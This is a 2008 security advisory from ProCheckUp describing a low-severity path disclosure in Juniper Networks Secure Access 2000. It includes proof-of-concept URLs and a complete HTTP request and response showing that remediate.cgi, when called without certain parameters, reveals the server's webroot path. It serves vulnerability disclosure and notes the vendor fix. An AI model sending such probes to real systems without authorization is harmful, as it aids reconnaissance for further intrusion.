Vulnerabilities 2008

PR07-42 Webroot disclosure on Juniper Networks Secure Access 2000

• Advisory publicly released: Thursday, 28 February 2008
• Vulnerability found: Thursday, 6 December 2007
• Vendor informed: Wednesday, 12 December 2007
• Severity level: Low

• Credits
  Richard Brain of ProCheckUp Ltd (www.procheckup.com)
• Description
  By simply requesting the 'remediate.cgi' script omitting certain parameters, the web server returns the physical path of the webroot ('/home/webserver/htdocs/') within a "Execute failed" error message.
• Proof of concept
  https://target-domain.foo/dana-na/auth/remediate.cgi?action=&step=preauth
  https://target-domain.foo/dana-na/auth/remediate.cgi?step=preauth
  
  
  {att:bold}- COMPLETE HTTP REQUEST{att:/bold}
  
  GET /dana-na/auth/remediate.cgi?action=&step=preauth HTTP/1.1
  User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
  Host: target-domain.foo
  Accept: */*
  
  {att:bold}- COMPLETE HTTP RESPONSE{att:/bold}
  
  HTTP/1.1 302 Moved
  location: /dana-na/auth//welcome.cgi?p=&hideremed=1
  Pragma: no-cache
  Cache-Control: no-store
  Expires: -1
  Transfer-Encoding: chunked
  Status: 500 Internal Error
  Content-Type: text/html
  
  <H2>500 Internal Error</H2><BR><H4>CGI script : /home/webserver/htdocs/dana-na/auth/remediate.cgi</H4>
  
  <BR> Compilation failed: Unable to execute script.<PRE>Execute failed, errcode = 1
• How to fix
  Juniper Networks was aware of this issue which they addressed on version 6.0R1. However, we decided to release this advisory due to lack of information regarding this vulnerability in the public domain.
• Consequences
  A remote attacker could recover information with regards to the target site's directory structure.
  
  This kind of information might be useful to attackers in certain scenarios. i.e.: when attempting to exploit file retrieval vulnerabilities.
• BID
  28037
• Successfully tested on
  Juniper Networks Secure Access 2000 (SA-2000) 5.5R1 (build 11711)
• References
  

  
  http://www.procheckup.com/research/views/vulnerabilities

  
  http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/

  
  
• Legal
  Copyright 2008 Procheckup Ltd. All rights reserved.
  
  Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.